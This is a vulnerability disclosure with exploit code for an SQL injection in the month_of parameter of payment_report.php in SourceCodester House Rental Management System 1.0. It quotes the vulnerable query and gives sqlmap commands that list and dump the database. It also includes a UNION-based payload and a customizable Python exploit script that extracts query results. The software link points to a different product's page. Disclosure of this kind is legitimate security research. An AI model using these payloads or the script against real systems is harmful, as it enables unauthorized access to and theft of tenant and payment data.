SQL Injection Vulnerability at Sourcecodester House Rental Management System

A vulnerability classified as critical has been found in SourceCodester Best House Rental Management System 1.0. Affected is an unknown function of the file payment_report.php. The manipulation of the argument month_of leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-268794 is the identifier assigned to this vulnerability.

Official Website: https://www.sourcecodester.com/php/17375/best-courier-management-system-project-php.html

Version: v1.0

route:/payment_report.php?month_of=<payload>

Related Code file: payment_report.php

Injection parameter: month_of

Vulnerability Analysis

Vulnerable code:

$payments = $conn->query("SELECT p.*, concat(t.lastname,', ',t.firstname,' ',t.middlename) as name, h.house_no FROM payments p INNER JOIN tenants t ON t.id = p.tenant_id INNER JOIN houses h ON h.id = t.house_id WHERE date_format(p.date_created,'%Y-%m') = '$month_of' ORDER BY unix_timestamp(date_created) ASC");

The part of this code that is vulnerable to SQL injection is the following SQL query, where the month_ofparameter is coming directly from userinput ($_GET[‘month_of’])`. An attacker could manipulate this input to include malicious SQL code.

Vulnerability Verification and Exploit

We can easily recreate this vulnerability using sqlmap as such:

Below is for basic sql injection testing:

sqlmap 'http://172.16.76.1/rental/payment_report.php?month_of=2024-06' --batch

image

Below is the payload that can be used to reproduce withouut sqlmap

month_of=2024-06' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b6b6271,0x7150726e686a6f7a51496176746f794e58766344546e746a77414663655079734a697847496f4557,0x716b7a6271),NULL-- -

Below is the command used to dump database list:

sqlmap 'http://172.16.76.1/rental/payment_report.php?month_of=2024-06' --batch --dbs

image

Below is the command used to dump data inside house_rental_latest database:

sqlmap 'http://172.16.76.1/rental/payment_report.php?month_of=2024-06' --batch --dbs -D house_rental_latest --dump

image

Exploit Code

Below is the Python code that can be customized.

For now it is listing the database on the system but could be modified for different purpose:

# Exploit Title: SQL Injection Vulnerability at Sourcecodester House Rental Management System
# Date: 2024/06/18
# Exploit Author: jadu101
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/17375/best-courier-management-system-project-php.html
# Version: 1.0 (REQUIRED)
# Tested on: Ubuntu
# CVE : CVE-2024-6066
 
 
import requests
from bs4 import BeautifulSoup
 
def extract_tenant_column(html_content):
    """
    Extracts the Tenant column data from the HTML content.
    """
    soup = BeautifulSoup(html_content, 'html.parser')
    tenants = []
 
    # Locate the table containing the report
    table = soup.find('table', {'class': 'table'})
    if not table:
        return tenants
 
    # Locate the headers to find the Tenant column index
    headers = table.find_all('th')
    tenant_index = -1
    for index, header in enumerate(headers):
        if 'Tenant' in header.text:
            tenant_index = index
            break
 
    if tenant_index == -1:
        return tenants
 
    # Extract the data from the Tenant column
    rows = table.find_all('tr')
    for row in rows:
        columns = row.find_all('td')
        if len(columns) > tenant_index:
            tenant_data = columns[tenant_index].text.strip()
            tenants.append(tenant_data)
 
    return tenants
 
# Define the base URL of the application (CHANGE HERE)
base_url = "http://127.0.0.1/rental/payment_report.php"
 
# Define the vulnerable parameter and the new payload to list the current database (CHANGE the PAYLOAD)
vulnerable_param = "month_of"
payload = "2024-06' UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, DATABASE(), NULL-- -"
 
# Construct the URL with the payload
url = f"{base_url}?{vulnerable_param}={payload}"
 
# Make the GET request to the vulnerable URL
response = requests.get(url)
 
# Check if the response was successful
if response.status_code == 200:
    # Extract and print the Tenant column data
    tenant_column_data = extract_tenant_column(response.text)
    if tenant_column_data:
        print("Output of SQL Query:")
        for tenant in tenant_column_data:
            print(tenant)
    else:
        print("SQL Injection unsuccessful. Recheck your Query")
else:
    print(f"Failed to retrieve the page. Status Code: {response.status_code}")
    print("Response Text:")
    print(response.text)